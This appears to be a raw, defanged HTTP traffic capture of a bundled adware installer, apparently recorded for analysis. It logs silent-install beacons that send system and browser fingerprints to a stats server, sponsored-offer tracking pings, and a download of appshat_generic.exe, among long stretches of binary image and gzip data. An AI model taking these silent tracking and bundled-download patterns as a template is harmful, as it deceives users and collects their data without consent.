User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: 2-ps.googleusercontent.com

Connection: Keep-Alive





..8.........*s.z......,..M.....e..qCm..y...v.Q.2..t..W...AX.R..HY..K..
.....^.!...R..B .!.............."[email protected](B...}6'G...V.v
...i....:..Q.n......2.N..u..F..>..z...~0.q4.N......G..>..~xK6...
.<!....?......!.\.8Z..Q.......;.. K..<....!..H.w....i...n..0@"o.
....;...%0;u...>.(.h... ....r.EAXm*..r..<..i.V......,...r;.!....
m..../.{../...9.Xg.PrZ&.@.,g...h.......^4..\>.U(e....*...|....^..=.
..#i..;...t.-.WU<=...<.......3.C`.}...........E....G.4Z.d.4..Kp.
.J..0.s..Oy..y...E....j.6...N].. (i1...ao`P.".0...sVBXM..7e.0.........
Fx}..>.......]$.........u..>i...Q.n..BR...\."...P.N.E.....^....)
kr.Em..N?.UwXM2?`<.o....,V...I.......!(.>.Zw?....D.||piTO....\~.
yd..{...y.......n...R............/...*.~.)o.U...,[email protected]...,......
b..,Bh.o.~N_.!. xZ.....'........-......<.Rp...bb..p<. ..e.(..n.a
..Sa.zpS..qS`.R...#7..J.n.]M..'u....L52....X..........&..G.4'..w....&l
t;>p..~.>.Kxm0.....!.Z{?..sF6;G.2go.....|.X......v....g..M.S0x..
c.......z......c....z.....'[email protected]
[email protected]....(.............q/X......?.o9..F...Rsq..J..Q{D_.:....F..
..nz... ...F....3. ...............s......`.......;..=..yh..8...%.....S
^8..c6{...........?.zn..^.Y......A........h.....C......p-.r..z........
....Z`........%....JaH.Ahp..Flg.S..>.>.{.y...G.R...5.Gq...-.W4..
...:2-;p.......1#g....o.Nu...S....S].x.....o..4...P.19..6..).}.i.>.
h-...3..j.^.....Q{.......{..R.eO;..f:......d........z.H}..`.........}k
..k"....G...GI../ q.yh.,h.H>..B..&G<...W3.l.`./)..6 )0..e.u.
<<< skipped >>>

GET /hk/R2BrCMjs44SBG-5Ct1qUME3DBk/VVV.appshat.com/thumbnails/icon/images/assets/0/0/78x78x00c73f6d4e4eb25289dddb86e2d1e319.jpg.pagespeed.ic.d0FQ8ZLWOVQUxEW7SL6j.jpg HTTP/1.1

Accept: */*

Referer: hXXp://VVV.appshat.com/home

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: 2-ps.googleusercontent.com

Connection: Keep-Alive




HTTP/1.1 200 OK

Server: nginx

Accept-Ranges: bytes

Content-Type: image/jpeg

Date: Wed, 17 Dec 2014 16:04:28 GMT

Expires: Tue, 15 Dec 2015 21:23:53 GMT

ETag: W/"0"

Last-Modified: Mon, 15 Dec 2014 21:23:53 GMT

X-Original-Content-Length: 37562

X-Page-Speed: 123_1_rr

X-XSS-Protection: 1; mode=block

Content-Length: 2545

Age: 2598

Cache-Control: max-age=31536000

Alternate-Protocol: 80:quic,p=0.02
......JFIF.............C................................... $.' ",#..(
7),01444.'9=82<.342...C...........2!.!22222222222222222222222222222
222222222222222222222......N.N..".....................................
...@..........................!.1A.Qaq..."2.B...#S....CDRcdrt.........
..........................'........................1!AQ..a.q..........
......?..f....mF..~k....:.O-k.K..w...fY./?.]H_F.l$y|7..y....Em2..e....
t'o..p.T.Le..#...g.X..W]8....u...x....S..z.~#[...R..f9e'm....u)Y..Ui..
[email protected].~AJ ywc..Rd'....6.K.I>...5.).^c6.Rx...._cS*...
.....?.?L..Z......$m......_....Z.};.%V...!.G\!...y..}..#...k.^.bV.i.."
_.1].....Ky..%.../..d|.......J...c..........n4.........,....:.......6.
j.Hy.....`zm.........^. ..Z.w...*.e.HJ..ME...;.&...% .]....Y......S...
y....sI......n.RS-...[..l....e....*..d)..k...?...6.....q........%....Y
.v~8.y...30.x*../.!i$...I'...}G.H..U ...&.#.....g8U.6 q.z....rm%.}..(.
..R.L.t..(\j......e....@..^.9'&:.,..i...TD;....T....re&..I.La.G.&%..||
|........NQ.[C{...c.g...<!N.P9....I#..Is.M~.#.\.4.Ly.%&.....|=F.`.R
.;.i:V.......g|..i.;.Yl..d4R.......7..:Sm.44..J$........c&[lJm...Z,..%
........|..2..K.\....[YB..A..m..A..............dq.{..U.......#........
";P^L~..............Z.%..i..x.2TS.. ^.).).v.?.g.^..9..&}.(..ji?.o...q.
Y./........|.K..? .....u..$......}B..F-.)....(N..IT^...().N..8.L.a..bf
..~.Zq*}HC`..Jo...S.....Z.....CgA...l..}.T..mH...:.%:.e!W....zF=...l..
.7.$n....n}1..O..hs..........H..9.U.s.1".l.O....C...@.'|W..G.....$V..5
'IS...06..s.l v.).s0x !.!..[.:.S};.........."T..W1|[email protected].
<<< skipped >>>

GET /hk/R2BrCMjs44SBG-5Ct1qUME3DBk/VVV.appshat.com/thumbnails/icon/images/assets/d/a/78x78xda84c206c2019448521379d2ff837774.png.pagespeed.ic.zNOyV3YZBa4c4pZHmvGx.png HTTP/1.1

Accept: */*

Referer: hXXp://VVV.appshat.com/home

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: 2-ps.googleusercontent.com

Connection: Keep-Alive




HTTP/1.1 200 OK

Server: nginx

Accept-Ranges: bytes

Content-Type: image/png

Date: Wed, 17 Dec 2014 16:04:43 GMT

Expires: Sun, 13 Dec 2015 14:48:10 GMT

ETag: W/"0"

Last-Modified: Sat, 13 Dec 2014 14:48:10 GMT

X-Original-Content-Length: 79723

X-Page-Speed: 123_1_rr

X-XSS-Protection: 1; mode=block

Content-Length: 76230

Age: 2583

Cache-Control: max-age=31536000

Alternate-Protocol: 80:quic,p=0.02
.PNG........IHDR..............x.... .IDATx.....].u&xN....h..#....@."%*
X.%z5....Y.hV;.O......f<.w.qZym.c{.V.K.O...H..e."... @d....F..wk.n.
.[U.........C.wC.J.N>.k.......?..!.-.r..<..G.._qNB.......Xr..k8f
.......Q......y|.az.D....5..@;....^.4..X.~.. .su...........g..........
....r...L...v.}h.=.-..\.MJw.c..s-.S....m,y..9.g....;,.U.....s.{lc.....
.....[..{N.s.......].....z..x..R.....rfbrH{....%p..r...........].<.
.CK.M...,_.......d.,...84..ro!..G)k?...N!...o*.:.F{Qyn............N...
...oC).......2<.?'(~m.}....gu.........wq2...a=x~.x|.....>.X84.q.
$G..x...TL.`.D.........JG.T...wL.k......?.....,s.E..Jp...0.&.*!a."..s.
"..Qa.........E.~..l.......t...%...8..1h'.h.#...,.......s.#..I.....3M.
.D...c...}..N.0kED:.G...4y..%...8.V..g.'k7....D.. .~....1..J.,.w.. F&g
t;.....9...L. <..Y......bV....4l..@' 1..Y..{0.02....9.s..[....&..M.
.......2....eh8...1....s.L. ....k....s...\#..C.#~......_E.}.K..Z..1..u
.ot0....N.j..3...}.$.y.,.w.Pa...A&....wH.V... ....T$x..2S.~$...^...R..
[email protected].....!j.X.U..Z&.{... .[.....Q.....;..yI=....Zf]...
!....=.KR.A...bkS`-..uq.1...F.tF.<./..%...I....c~.^.A.i......^9.U..
......3 Et.7.Z..T....a.-.L..Rv.Kih.S..=0.m......3fe.&-u....sK#.5..>
.2.y}..!.2C.d...X...^...>N,.~Em..e>..$k[............W..Lg.......
...^.....=!..O.x_.....C.zf2........h....I.~J.Q.. .......W.}r{L......aA
4..r..........p.....pP8)...~.AP....`.....TjE.B......CnZj.j....".......
.>...8..zN..m...x..e......K.6.b...{k.y...........[X\....W.2K.r.....
=.Rf...B..-.w......<Vs..R.......j..V g.(.vx...\".gu,.x.g....s.3
<<< skipped >>>

GET /hk/R2BrCMjs44SBG-5Ct1qUME3DBk/VVV.appshat.com/thumbnails/icon/images/assets/5/6/78x78x567f43cb72fe3ac6419369953394cadd.png.pagespeed.ic.uZppn9OyDiD3h_rBjWty.png HTTP/1.1

Accept: */*

Referer: hXXp://VVV.appshat.com/home

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: 2-ps.googleusercontent.com

Connection: Keep-Alive





....,..-$.F....H.......h<,.D..h.... g....G.....D..w...=0...L.S..<
;c..K^.......".5..w.........K./....}....a....L}..........3.q...U.mE.l.
...j..e..Z....0.R/ S..\.$.......5.K.....*.*.Ot....|.|.V....[..Y.oeMc.H
.rCH ....$...l.].....[[email protected]$.~.F..>....q....6...
...Q.....\j.....B=.2.....6..P.yCv.:.......l5..e..../.U.].:...`......C.
..d...Z.....T.o.1..c.70.E..` z{....i\.........O'.....a.`.A......!o..#/
..i.......?...o....~._.....0D..{.u.........u....Y......B ........W..1.
....Ta..J5c.....J........ .\..c.....h.../.cO.>......\EbO.z..S...b.C
O......A..P...F..q)u}..0R/....w.(....m...........MR.9..0...c.y[..O.m..
.p..#....W_A.. .}..._~.n.w..c.W^y..t:.....J.e.n......z..........(.....
...4.......zx..5.a.F.N.B....x.{5...i=...Y...k.s....}[email protected].)...
..2p*.>!.....m.....F...ZK..r ...y$&..R....z.....1.#...h.d*<..V.i
[email protected]..\9.88...u..."..pk...[...x.,.......8.|.:.X..XZ.i.....,......6j
z.4......;y.{.........9R...16.u....F.40s'n.x.i.N..^@%q......8....;,...
:.o..)_z2.0..d.R...d.O..n....y.4..3.....<.D......M..ii..#...R....-.
(\zVTQT.E.....;d..:...E..&...)..IWl........{V.X....8....J.l..,...e.n.Q
./p...,.....Lg.....:.....!...R...[...-..ak.7..G^~...~...4....o..l.....
....... .x..7.....:...>.....9..}.gD....c(9....OY.rA!.{...}..Nu m..O
C.U.3...>0....{R../../.c.h:rc..T.j..E....N,(%.\e..BM.%....$..h.....
O.;.L...v@.@..&|4.x.....#..t.....l"..O......u.Hy.7.nx...@*..t.o..o...?
.. ^}.U.%.T6{. [email protected]"......V..X.,R .B.....
J.h=hi..r....(>....v.6EWN.n.l.Q..|.o.V{.......>.(Ef..;...{.h
<<< skipped >>>


GET /installer.gif?action=started&app=65743&appver=0&ver=1_35_11_26&version_date=14-12-15&bic=A6CD997E08804A369D8FB9D181719F3AIE&verifier=45a5d93e053e7aacbe23aedf1ed2b00a&upi=d5d8d8a61601751d467a5854a16ce35a&procid=BB99702CFD0141EBA74A0A755AB58FECPI&srcid=000820&subid=0&zdata=appshatmadness&browser=ie&browserver=10&default=ie&chver=35.0.1916.153&ffver=29.0.1&iever=10.0.9200.16521&curtime=&aver=X&xpiver=0_95&crxver=1_26_16&silent=1&os=7(64bit)&osbuild=7601&osprod=Windows 7 Professional N&ossp=Service Pack 1&osinstdt=1363796288&admin=1&type=85899350017&asw=0&asw2=1073750533&asw3=-2147475456&asw4=0&crtnm=BadFingerProject&procstarttime=1418834836&procruntime=2&rnd=1418834838 HTTP/1.1

Host: stats.newstaticinfosrv.com

Connection: Keep-Alive

Cache-Control: no-cache




HTTP/1.1 200 OK

x-amz-id-2: iCI1s6oFalgfCIuX7ZmE1oGxJ/XBwbIAiSnPITd1UK/1eGeJh3h B0NfsraS6Ou0

x-amz-request-id: 35DE1588B46D1921

Date: Wed, 17 Dec 2014 16:47:19 GMT

Cache-Control: no-cache, must-revalidate

Expires: Mon, 26 Jul 1997 05:00:00 GMT

Last-Modified: Tue, 25 Feb 2014 00:10:06 GMT

ETag: "28d6814f309ea289f847c69cf91194c6"

Content-Type: image/gif

Content-Length: 35

Server: AmazonS3
GIF89a.............,...........D..;HTTP/1.1 200 OK..x-amz-id-2: iCI1s6
oFalgfCIuX7ZmE1oGxJ/XBwbIAiSnPITd1UK/1eGeJh3h B0NfsraS6Ou0..x-amz-requ
est-id: 35DE1588B46D1921..Date: Wed, 17 Dec 2014 16:47:19 GMT..Cache-C
ontrol: no-cache, must-revalidate..Expires: Mon, 26 Jul 1997 05:00:00 
GMT..Last-Modified: Tue, 25 Feb 2014 00:10:06 GMT..ETag: "28d6814f309e
a289f847c69cf91194c6"..Content-Type: image/gif..Content-Length: 35..Se
rver: AmazonS3..GIF89a.............,...........D..;....


GET /installer.gif?action=finished&app=65743&appver=16&ver=1_35_11_26&version_date=14-12-15&bic=A6CD997E08804A369D8FB9D181719F3AIE&verifier=45a5d93e053e7aacbe23aedf1ed2b00a&upi=d5d8d8a61601751d467a5854a16ce35a&procid=BB99702CFD0141EBA74A0A755AB58FECPI&srcid=000820&subid=0&zdata=appshatmadness&browser=ie&browserver=10&default=ie&chver=35.0.1916.153&ffver=29.0.1&iever=10.0.9200.16521&curtime=&aver=X&xpiver=0_95&crxver=1_26_16&silent=1&os=7(64bit)&osbuild=7601&osprod=Windows 7 Professional N&ossp=Service Pack 1&osinstdt=1363796288&admin=1&type=85899350017&asw=0&asw2=1073750533&asw3=-2147475456&asw4=0&crtnm=BadFingerProject&ieprofiles=1&chprofiles=na&ffprofiles=1&procstarttime=1418834836&procruntime=25&rnd=1418834861 HTTP/1.1

Host: stats.newstaticinfosrv.com

Connection: Keep-Alive

Cache-Control: no-cache




HTTP/1.1 200 OK

x-amz-id-2: dUmtQD0zDuElC2GxXxFYWT/J0UrpmgsDtk 1MyfDAcfuprtMvZRgozagRUnC5DAb

x-amz-request-id: 76B25D39D8228DDB

Date: Wed, 17 Dec 2014 16:47:43 GMT

Cache-Control: no-cache, must-revalidate

Expires: Mon, 26 Jul 1997 05:00:00 GMT

Last-Modified: Tue, 25 Feb 2014 00:10:06 GMT

ETag: "28d6814f309ea289f847c69cf91194c6"

Content-Type: image/gif

Content-Length: 35

Server: AmazonS3
GIF89a.............,...........D..;....


GET /apps.gif?action=install&app=65743&appver=16&ver=1_35_11_26&version_date=14-12-15&bic=A6CD997E08804A369D8FB9D181719F3AIE&verifier=45a5d93e053e7aacbe23aedf1ed2b00a&upi=d5d8d8a61601751d467a5854a16ce35a&procid=BB99702CFD0141EBA74A0A755AB58FECPI&srcid=000820&subid=0&zdata=appshatmadness&browser=ie&browserver=10&default=ie&chver=35.0.1916.153&ffver=29.0.1&iever=10.0.9200.16521&curtime=&aver=X&installtime=1418834836&lifetime=0&silent=1&crtnm=BadFingerProject&procstarttime=1418834836&procruntime=26&rnd=1418834862 HTTP/1.1

Host: stats.newstaticinfosrv.com

Connection: Keep-Alive

Cache-Control: no-cache




HTTP/1.1 200 OK

x-amz-id-2: e6eFY4txMFHT6zS9nIQO0ZcvN UztpB vtZ2G8XYqv10x8Wgg4rW65C0dEIZrRoF

x-amz-request-id: 5CABA2D9D53BD3E5

Date: Wed, 17 Dec 2014 16:47:43 GMT

Cache-Control: no-cache, must-revalidate

Expires: Mon, 26 Jul 1997 05:00:00 GMT

Last-Modified: Tue, 25 Feb 2014 00:09:57 GMT

ETag: "28d6814f309ea289f847c69cf91194c6"

Content-Type: image/gif

Content-Length: 35

Server: AmazonS3
GIF89a.............,...........D..;HTTP/1.1 200 OK..x-amz-id-2: e6eFY4
txMFHT6zS9nIQO0ZcvN UztpB vtZ2G8XYqv10x8Wgg4rW65C0dEIZrRoF..x-amz-requ
est-id: 5CABA2D9D53BD3E5..Date: Wed, 17 Dec 2014 16:47:43 GMT..Cache-C
ontrol: no-cache, must-revalidate..Expires: Mon, 26 Jul 1997 05:00:00 
GMT..Last-Modified: Tue, 25 Feb 2014 00:09:57 GMT..ETag: "28d6814f309e
a289f847c69cf91194c6"..Content-Type: image/gif..Content-Length: 35..Se
rver: AmazonS3..GIF89a.............,...........D..;..


GET /images/Tokyo/tokyo_sprite_full.png HTTP/1.1

Accept: */*

Referer: hXXp://bi.bisrv.com/network_xrwc_1/vlcmediaplayerdmot/796c42aebeb52f4eabf469c6ed8ad1c0?v=2.1&uid=796c42aebeb52f4eabf469c6ed8ad1c0&muid=96D78F35E7B7EA4FC32736D428DF43B4

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: d26eh3hrk8d78y.cloudfront.net

Connection: Keep-Alive




HTTP/1.1 200 OK

Content-Type: image/png

Content-Length: 26401

Connection: keep-alive

Server: nginx

Date: Wed, 17 Dec 2014 11:21:00 GMT

Last-Modified: Wed, 17 Dec 2014 11:15:15 GMT

ETag: "549165c3-6721"

Expires: Wed, 17 Dec 2014 11:31:00 GMT

Cache-Control: max-age=600

Accept-Ranges: bytes

Age: 161

X-Cache: Hit from cloudfront

Via: 1.1 9f052ba87bc5fa1f880f0c6f7ab1cac5.cloudfront.net (CloudFront)

X-Amz-Cf-Id: bkYiuZlBLiH2dA1SxQyggwl17vMbLuqoXC47ZPE8B_75L2b2D9r82w==
.PNG........IHDR...............-)....tEXtSoftware.Adobe ImageReadyq.e&
lt;..."iTXtXML:com.adobe.xmp.....<?xpacket begin="..." id="W5M0MpCe
hiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk=
"Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27        "> &
lt;rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#">
 <rdf:Description rdf:about="" xmlns:xmp="hXXp://ns.adobe.com/xap/1
.0/" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http:/
/ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photo
shop CS6 (Windows)" xmpMM:InstanceID="xmp.iid:080CC8DDBD6511E3B018CC78
0203A0F9" xmpMM:DocumentID="xmp.did:080CC8DEBD6511E3B018CC780203A0F9"&
gt; <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:080CC8DBBD6511E3B0
18CC780203A0F9" stRef:documentID="xmp.did:080CC8DCBD6511E3B018CC780203
A0F9"/> </rdf:Description> </rdf:RDF> </x:xmpmeta>
; <?xpacket end="r"?>..!C..c.IDATx......G}.....9....,....;...Mx.
1..!.l...`............{..%.q...o..qp ...1.flA0..E.d......vW..W/S..3..I
gF:....5=..=}..3....._.B>......!...%.....RJr....e...m......M...uW*.
.v..j.J.b.~.w.7QI/....{.@...)]....}.Ugf......eM.u..].N."c%.,.V...;.5..
}.v.......A...l>.;.>O....Lo..ku^......3.8....x./M.G]5y.(P....p..
.X..^.z.....R._ ..m..u/|.......:D.Z....\........;\....k.....|x>7\."
....RLi.$.%ZWo\......o.]]q...|.r.......Y.3.mal...d{{..W.....fQ.-......
.j5..e.....6............k(......b^k.....|miA....A$..(;o.??D.p.S5S'..KW
.......=....>..H..f.5....N.t...6 .......0w.0.`.......x.y....S{.
<<< skipped >>>

GET /sponsored/speedbit/eula-youtubeaccelerator.html HTTP/1.1

Accept: application/x-ms-application, image/jpeg, application/xaml xml, image/gif, image/pjpeg, application/x-ms-xbap, */*

Referer: hXXp://bi.bisrv.com/network_xrwc_1/vlcmediaplayerdmot/796c42aebeb52f4eabf469c6ed8ad1c0?v=2.1&uid=796c42aebeb52f4eabf469c6ed8ad1c0&muid=96D78F35E7B7EA4FC32736D428DF43B4

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: d26eh3hrk8d78y.cloudfront.net

Connection: Keep-Alive




HTTP/1.1 200 OK

Content-Type: text/html

Transfer-Encoding: chunked

Connection: keep-alive

Server: nginx

Date: Sun, 14 Dec 2014 04:53:47 GMT

Last-Modified: Sun, 26 Oct 2014 17:24:16 GMT

Expires: Sun, 14 Dec 2014 05:03:47 GMT

Cache-Control: max-age=600

Content-Encoding: gzip

Vary: Accept-Encoding

Age: 458

X-Cache: Hit from cloudfront

Via: 1.1 9f052ba87bc5fa1f880f0c6f7ab1cac5.cloudfront.net (CloudFront)

X-Amz-Cf-Id: kf5uJ5KSVa4AzJUikBSCIZobIMY_zyut_MsqMeTPdVTP_xaN0JTH_g==
2799.............]ko..y.....&J.K.D...h........[,.n...F...5.af... @.F.^
.I..y.s..9.:..H.D.9s...y/~..._=.......]...o?{~.,.;:>~..g..._|...W./
.g.G...:_6e[V.|~||.r/..j..........OGU=;.xs..c=....Q..9......<.....e
.d`..?....m=[...h.u.j..vU<.k....w.un..e...^.......>z.I....}.QM..
r9.nF......o.......O....r...?......I..z.}q{.M.i....>...K.,...>y.
\.....'{..m[....i.....~..d......Gu....b...o....p..o..;H?..>.v..{.:.
.....0.........................'._......?.l....o..Q.....9..q.C.]..4...
.70...w.a.v]/.~......zn\M..o..U.U.,.-.....q.........B........WE.~Q...u
.S.w.. .`K.j.^`X.......g....e.(......_?.6..p^.../.."o..w.>......FM.
.. ..u[....|.p......;...I.{..Q..i.|.w.w...c..G.jU,'....d.S..~f.)r.....
..A...w...9.. R....g..Y...x..'..{.(.<._.5N.......3...c.F...)..wYMn.
........e?z.....-.zV..e....U..G..\.([V."...i.l............i.(........)
.r..~..]}.)y.&....Q6.W%X.Cm.<z..b.OM.dYX.?.>d......{...k........
y1m.eG...{....#........&.._./.....O.U./..Ev2... y[..EQ/....mS`.O....&g
t;....x.7....l............a...q.W.c.#./......^\..... ..Y6/...).|9. .l.
5>...*.-....YW./.a...lV].......r,...q.:Fi1..<kA...__..........x.
.Ap.?...Z..=......q.4.)....R[.9~...*.*(....'.Yi..p.B.n......e'...I.T.;
.L.^-..Co...j0u..j...dc0B^..I.r.....-.(...n......1.-...'.*.......M^...
.&...y~..-...;W....UV.8.,.c.'...QLd 4x.....fmU....<...M..pRN3\{S`AX
..6..X........'_._....q2.8.?.QF.M.0.>.l^......6.I:...4DvY.7E!.=....
m.C.....U.}...c.....??.......[e...H..-.c:-.%vj'..A..2.K|..%]......{Ga.
...EQ..Z|Q..6?..4?z|................H.%.....{....\b[.........L....
<<< skipped >>>


GET /ajax/libs/jqueryui/1.10.3/jquery-ui.min.js HTTP/1.1

Accept: */*

Referer: hXXp://VVV.appshat.com/home

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: ajax.googleapis.com

Connection: Keep-Alive




HTTP/1.1 200 OK

Vary: Accept-Encoding

Content-Encoding: gzip

Content-Type: text/javascript; charset=UTF-8

Last-Modified: Tue, 07 May 2013 09:09:49 GMT

Date: Mon, 15 Dec 2014 20:38:00 GMT

Expires: Tue, 15 Dec 2015 20:38:00 GMT

Access-Control-Allow-Origin: *

Timing-Allow-Origin: *

X-Content-Type-Options: nosniff

Server: sffe

Content-Length: 60666

X-XSS-Protection: 1; mode=block

Cache-Control: public, max-age=31536000

Age: 158985

Alternate-Protocol: 80:quic,p=0.02
............kw...0.}...$.0.)r&.&.!..x..Y..{.N....!["..`.p......K......
......{WwWWU......_..N4.N.......l2.N..............=9Yw.6;?.......,.[H.
.Znv .f'.1..FL...V..ru#:/....~.US...o6..z...7.-..Ho.F,.PF.....5....%Le
U.....j..v#:..7...._.........(.M}.......V.Y..Z.g0^n.m8.A......z5..u1.S
o....o.....P...m...:..........oCY.rh.]ST.u.....yI..-..ro....Y.....^{..
..z...Z?..7........C. .S.......{`L'E.:...hN.u.5%...i/N.*..j..../_.<
9....6....T$w....EZ&wo...J..H.\L*X.o.[.c..~'..E ..........E..y3. (....
....u^M*.......gg..Yt[l.t5..<....... 8.P8.E4.G."J......8;k."I..Y...
e..u{>..N..p8{>`..._!.|.....d~*.0.x.WY$..c....L.i..44....y.M..4.
.r.....-.....gg.....o.dR.V.(..._\..[.....JT8.n.l..[.m.Q....>D.!.lDu
........y..]9.W..V._._t.=r.g..;.8.NT..S...0H.1..OG..........._....=..2
.].....~..~....._.|.2..o.......7...7.e.>.?.^~..../.x.......O.......
.._...U....o...w.?{......T.~...._?.*...:........2S)....T........}.gH..
J....x..... ...w....k..........=K.{......~?M...?....>.i>{..z....
)........ ....z.k3.Df.uR..z........u....>)..t.Q,..2......Z..*oE....
.e..8I[.x..h..}p..I&&.v.....hnv.....!..SM..l...;.y...<.8.D$.8;;....
.r....} .y8h...#...$.......]'..c...?...c..^5........u...q.x..y...5l..M
..JF........>.4..x.d.....h.s.......Hb.. ...I`....|Y..{.%....qy.."Q.
M7..#.x.P......nb.Km..A...4.\....t..fU...Q...h.8R..h...#...7M.>`..2
..h..U...8.t..9-.o.o...N..*Q...j...1N.2uzHwU........'.3L..j....<b..
.NF..V..6..V...l....\...w2...w].W../.FW....t.e.".........K....b......(
zSI...R.. <..[[email protected])pj"...)y1a.....W..]...
<<< skipped >>>


GET /ads/conversion/971163981/?random=233430558&cv=7&fst=1418834697240&num=1&fmt=3&label=DQanCNPMoRIQzZKLzwM&bg=ffffff&hl=en&guid=ON&u_h=901&u_w=1716&u_ah=857&u_aw=1716&u_cd=24&u_his=1&u_tz=120&u_java=true&u_nplug=0&u_nmime=0&frm=0&url=http://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,eb48a9ab-49f6-4199-935d-4935ca672341,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=75&BundleID=NONE&vis=1&ctc_id=CAIVAgAAAB0CAAAA&ct_cookie_present=false&cdct=2&convclickts=0&random=1282287361&ipr=y HTTP/1.1

Accept: image/png, image/svg xml, image/*;q=0.8, */*;q=0.5

Referer: hXXp://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,eb48a9ab-49f6-4199-935d-4935ca672341,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=75&BundleID=NONE

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Accept-Encoding: gzip, deflate

DNT: 1

Connection: Keep-Alive

Host: VVV.google.com.ua




HTTP/1.1 200 OK

Content-Type: image/gif

Date: Wed, 17 Dec 2014 16:45:01 GMT

Pragma: no-cache

Expires: Fri, 01 Jan 1990 00:00:00 GMT

Cache-Control: no-cache, no-store, must-revalidate

X-Content-Type-Options: nosniff

Server: adclick_server

Content-Length: 42

X-XSS-Protection: 1; mode=block

Alternate-Protocol: 80:quic,p=0.002
GIF89a.............!.......,...........D.;HTTP/1.1 200 OK..Content-Typ
e: image/gif..Date: Wed, 17 Dec 2014 16:45:01 GMT..Pragma: no-cache..E
xpires: Fri, 01 Jan 1990 00:00:00 GMT..Cache-Control: no-cache, no-sto
re, must-revalidate..X-Content-Type-Options: nosniff..Server: adclick_
server..Content-Length: 42..X-XSS-Protection: 1; mode=block..Alternate
-Protocol: 80:quic,p=0.002..GIF89a.............!.......,...........D.;
..


GET /pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=796c42aebeb52f4eabf469c6ed8ad1c0&uniqid=61c1e9ce078e3e20f171532f2a80443c&affiliate_id=network_xrwc_1&software_id=vlcmediaplayerdmot&sponsored_id=appshat_madness&tokyo_csrf2_key=991f0b3d94f721ffe716de3b564e2b54&tokyo_csrf2_timestamp=1418834551&slot_number=4&index_in_screen=1&index_in_session=4&display_height=90&0.21850779859180952 HTTP/1.1

Accept: */*

Referer: hXXp://bi.bisrv.com/network_xrwc_1/vlcmediaplayerdmot/796c42aebeb52f4eabf469c6ed8ad1c0?v=2.1&uid=796c42aebeb52f4eabf469c6ed8ad1c0&muid=96D78F35E7B7EA4FC32736D428DF43B4

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: bi.bisrv.com

Connection: Keep-Alive

Cookie: __utma=1.61869844.1418834552.1418834552.1418834552.1; __utmb=1.1.10.1418834552; __utmc=1; __utmz=1.1418834552.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1




HTTP/1.1 200 OK

Server: nginx

Date: Wed, 17 Dec 2014 16:43:08 GMT

Content-Type: image/jpeg

Transfer-Encoding: chunked
0..HTTP/1.1 200 OK..Server: nginx..Date: Wed, 17 Dec 2014 16:43:08 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0..


GET /mirror/nerocrossrider/appshat_generic.exe HTTP/1.1

Range: bytes=214170-

User-Agent: Better Installer(Mozilla)

Host: d3ddmpeszwup8l.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache




HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 71388

Connection: keep-alive

Date: Sun, 14 Dec 2014 04:56:58 GMT

x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33204/mtime:1415096893/atime:1415097003/ctime:1415096894

Cache-Control: max-age=3600

